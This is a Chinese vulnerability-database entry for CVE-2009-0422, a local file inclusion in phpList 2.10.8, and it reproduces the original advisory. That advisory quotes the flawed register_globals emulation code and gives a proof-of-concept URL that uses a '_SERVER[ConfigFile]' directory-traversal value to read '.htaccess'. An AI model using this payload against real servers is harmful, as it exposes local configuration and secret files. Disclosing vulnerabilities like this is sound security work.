phpList 'admin/index.php' 本地文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117235 漏洞类型 代码注入
发布时间 2009-01-14 更新时间 2009-02-19
CVE编号 CVE-2009-0422 CNNVD-ID CNNVD-200902-104
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7778
https://www.securityfocus.com/bid/33273
https://cxsecurity.com/issue/WLB-2009010033
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-104
|漏洞详情
phpList是一款开放源代码即时通讯管理工具。phpList2.10.8及之前版本中的lists/admin.php存在动态变量评价漏洞。当whenregister_globals被中止时,远程攻击者可以借助到dmin/index.php的_SERVER[ConfigFile]参数中的目录遍历序列,包含和运行任意的本地文件。
|漏洞EXP
########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: phpList Local File inclusion
# Vendor: http://www.phplist.com
# Bug: Local File Inclusion
# Vulnerable Version: 2.10.8 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_60.htm
###################################################################


####################
- Description:
####################

Quote From vendor:"phplist is an open-source newsletter manager. phplist is free to download, install and use, and is easy to integrate with any website.
phplist is downloaded more than 10 000 times per month and is listed in the top open source projects for vitality score on Freshmeat.
phplist is sponsored by tincan."


####################
- Vulnerability:
####################

+--> Local File Inclusion

Because of the vulnerability in "admin/index.php", When "register_globals" is disabled (Default PHP Configuration) It is possible for remote attackers to
include arbitrary files from local resources before performing authentication.

Code Snippet:
/lists/admin.php #line:10-18

if (!ini_get("register_globals") || ini_get("register_globals") == "off") {
  # fix register globals, for now, should be phased out gradually
  # sure, this gets around the entire reason that regLANGUAGE_SWITCHister globals
  # should be off, but going through three years of code takes a long time....

  foreach ($_REQUEST as $key => $val) {
    $$key = $val;
  }
}

/lists/admin.php #line:41-56

if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {
  print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";
  include $_SERVER["ConfigFile"];
} elseif (isset($cline["c"]) && is_file($cline["c"])) {
  print '<!-- using '.$cline["c"].' -->'."\n";
  include $cline["c"];
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {
#  print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";
  include $_ENV["CONFIG"];
} elseif (is_file("../config/config.php")) {
  print '<!-- using ../config/config.php -->'."\n";
  include "../config/config.php";
} else {
  print "Error, cannot find config file\n";
  exit;
}

####################
- POC:
####################

http://www.example.com/lists/admin/index.php?_SERVER[ConfigFile]=../.htaccess

####################
- Credit:
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2009-01-14]
|受影响的产品
PHPList PHPList 2.10.8 PHPList PHPList 2.10.7 PHPList PHPList 2.10.6 PHPList PHPList 2.10.5 PHPList PHPList 2.10.4 PHPList PHPList 2.10.3 PHPList PHPList
|参考资料

来源:XF
名称:phplist-indexphp-file-include(47945)
链接:http://xforce.iss.net/xforce/xfdb/47945
来源:BUGTRAQ
名称:20090114phpList<=2.10.8LocalFileinclusion
链接:http://www.securityfocus.com/archive/1/archive/1/500057/100/0/threaded
来源:MILW0RM
名称:7778
链接:http://www.milw0rm.com/exploits/7778
来源:MISC
链接:http://www.bugreport.ir/index_60.htm
来源:SECUNIA
名称:33533
链接:http://secunia.com/advisories/33533